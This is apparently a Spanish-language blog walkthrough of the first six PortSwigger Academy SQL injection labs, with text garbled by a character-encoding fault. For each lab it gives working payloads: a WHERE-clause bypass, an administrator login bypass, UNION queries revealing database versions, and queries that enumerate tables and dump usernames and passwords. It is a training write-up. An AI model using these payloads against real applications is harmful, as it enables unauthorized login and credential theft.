馃敩 Laboratorios de SQL Injection (1陋 parte)

Aqu铆 empieza nuestra ruta hacia la certificaci贸n BSCP, y qu茅 mejor forma de hacerlo que en el orden que aparecen los laboratorios en la p谩gina web de Portswigger Academy.

Es por ello que comenzar茅 con los primeros laboratorios de SQL Injection. Espero que os sean sencillos de seguir y si ten茅is cualquier duda al respecto, no dud茅is en preguntarme por aqu铆 o por redes sociales, estar茅 encantado de atenderos.

Laboratorio 1: Vulnerabilidad SQLi en la cl谩usula WHERE permitiendo la recuperaci贸n de datos ocultos.

Este laboratorio contiene una vulnerabilidad de SQL Injection en el filtro de categor铆as de productos. Cuando el usuario selecciona una categor铆a, la aplicaci贸n lleva a cabo una consulta SQL como esta:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Para resolver el laboratorio, realiza un ataque de SQL Injection que provoque que la aplicaci贸n muestre uno o m谩s productos no publicados.

Soluci贸n:

Usa Burp Suite para interceptar y modificar la petici贸n que fija el filtro de la categor铆a de productos.

Modifica el par谩metro category d谩ndole el valor '+OR+1=1--

Env铆a la petici贸n y verifica que la respuesta contiene ahora uno o m谩s productos no publicados.

Laboratorio 2: Vulnerabilidad SQLi que permite el bypass del login.

Este laboratorio contiene una vulnerabilidad SQL Injection en la funci贸n de login.

Para resolverlo, realiza un ataque de inyecci贸n SQL que permita hacer login en la aplicaci贸n como usuario administrator.

Soluci贸n:

Usa Burp Suite para interceptar y modificar la petici贸n de login.

Modifica el par谩metro username, d谩ndole el valor: administrator'--

Laboratorio 3:Ataque SQLi, solicitando el tipo de base de datos y la versi贸n en Oracle.

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆as de productos. Puedes realizar un ataque UNION para recuperar los resultados desde una consulta inyectada.

Para resolver el laboratorio, muestra la cadena con la versi贸n de la base de datos.

Pista:

En las bases de datos Oracle, cada sentencia SELECT debe especificar una tabla desde la que seleccionar FROM. Si tu ataque UNION SELECT no consulta una tabla, seguir谩s necesitando incluir la palabra clave FROM seguida de un nombre de tabla v谩lido.

Hay una tabla nativa en Oracle llamada dual que puedes usar para este prop贸sito. Por ejemplo: UNION SELECT 鈥榓bc鈥 FROM dual.

Soluci贸n:

Utiliza Burp Suite para interceptar y modificar la petici贸n que fija el filtro de categor铆a de productos.

Determina el n煤mero de columnas que se devuelven de la consulta y qu茅 columnas contienen datos de texto. Verifica que la consulta est谩 devolviendo dos columnas, y que ambas contienen texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+'abc','def'+FROM+dual--

Usa el siguiente payload para mostrar la versi贸n de la base de datos:

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

Laboratorio 4: Ataque SQLi, solicitando el tipo de base de datos y versi贸n en MySQL y Microsoft.

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆as de productos. Puedes usar un ataque UNION para recuperar los resultados desde una consulta inyectada.

Para resolverlo, muestra la cadena de texto con la versi贸n de la base de datos.

Soluci贸n:

Usa Burp Suite para interceptar y modificar la petici贸n que fija el filtro de categor铆as de productos.

Determina el n煤mero de columnas que se devuelven por parte de la consulta y qu茅 columnas contienen datos de texto. Verifica que la consulta devuelve dos columnas, ambas con texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+'abc','def'#

Usa el siguiente payload para mostrar la versi贸n de la base de datos:

'+UNION+SELECT+@@version,+NULL#

Laboratorio 5: Ataque SQLi, listando el contenido de la base de datos en bases de datos no Oracle

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆as de productos. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas.

La aplicaci贸n tiene una funci贸n de login, y la base de datos contiene una tabla que aloja los nombres de usuario y contrase帽as. Has de determinar el nombre de esta tabla y las columnas que contiene, y despu茅s recuperar el contenido de la tabla para obtener el nombre de usuario y la contrase帽a de todos los usuarios.

Para resolver el laboratorio, haz login como usuario administrator.

Soluci贸n:

Usa Burp Suite para interceptar y modificar la petici贸n que fija el filtro de categor铆as de productos.

Determina el n煤mero de columnas que se devuelven por parte de la consulta y qu茅 columnas contienen datos de texto. Verifica que la consulta devuelve dos columnas, y que ambas contienen texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+'abc','def'--

Usa el siguiente payload para recuperar la lista de tablas en la base de datos:

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

Encuentra el nombre de la tabla que contiene las credenciales de los usuarios.

Usa el siguiente payload (cambiando el nombre de la tabla) para recuperar los detalles de las columnas en esa tabla:

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--

Encuentra los nombres de las columnas que contienen los nombres de usuario y las contrase帽as.

Usa el siguiente payload (cambiando el nombre de la tabla y las columnas) para recuperar los nombres de usuario y las contrase帽as de todos los usuarios:

'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--

Encuentra la contrase帽a para el usuario administrator, y 煤sala para hacer login.

Laboratorio 6: Ataque SQLi, listando el contenido de la base de datos en Oracle

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categor铆as de productos. El resultado de la consulta se devuelve en la respuesta de la aplicaci贸n, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas.

La aplicaci贸n tiene una funci贸n de login, y la base de datos contiene una tabla que aloja los nombres de usuario y contrase帽as. Has de determinar el nombre de esta tabla y las columnas que contiene, y despu茅s recuperar el contenido de la tabla para obtener el nombre de usuario y la contrase帽a de todos los usuarios.

Para resolver el laboratorio, haz login como el usuario administrator.

Soluci贸n:

Usa Burp Suite para interceptar y modificar la petici贸n que fija el filtro de categor铆as de productos.

Determina el n煤mero de columnas que se devuelven en la consulta y qu茅 columnas tienen datos de tipo texto. Verifica que la consulta devuelve dos columnas y ambas contienen texto, usando un payload como el siguiente en el par谩metro category:

'+UNION+SELECT+'abc','def'+FROM+dual--

Usa el siguiente payload para recuperar la lista de tablas en la base de datos:

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Encuentra el nombre de la tabla que contiene las credenciales de usuario.

Usa el siguiente payload (cambiando el nombre de la tabla) para recuperar los detalles de las columnas en la tabla:

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

Encuentra los nombres de las columnas que contienen los nombres de usuario y las contrase帽as.

Usa el siguiente payload (cambiando los nombres de columnas) para recuperar los nombres de usuario y contrase帽as de todos los usuarios:

'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--

Encuentra la contrase帽a para el usuario administrator y haz login con esa cuenta.


Y hasta aqu铆 llega la primera parte de los laboratorios de SQLi de Portswigger Academy. Dentro de poco tendr茅 listos los siguientes. Hasta entonces, espero que os haya picado el gusanillo y quer谩is aprender m谩s sobre las vulnerabilidades web y el uso de Burp Suite.

1 comentario en 芦馃敩 Laboratorios de SQL Injection (1陋 parte)禄

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende c贸mo se procesan los datos de tus comentarios.

Ads Blocker Image Powered by Code Help Pro

隆隆隆Ads Blocker Detectado!!!

Hemos detectado que usas extensiones para bloquear anuncios. Por favor, si te interesa el contenido, no bloquees los anuncios, que son lo que nos ayuda a poder publicar m谩s contenido como este 馃槉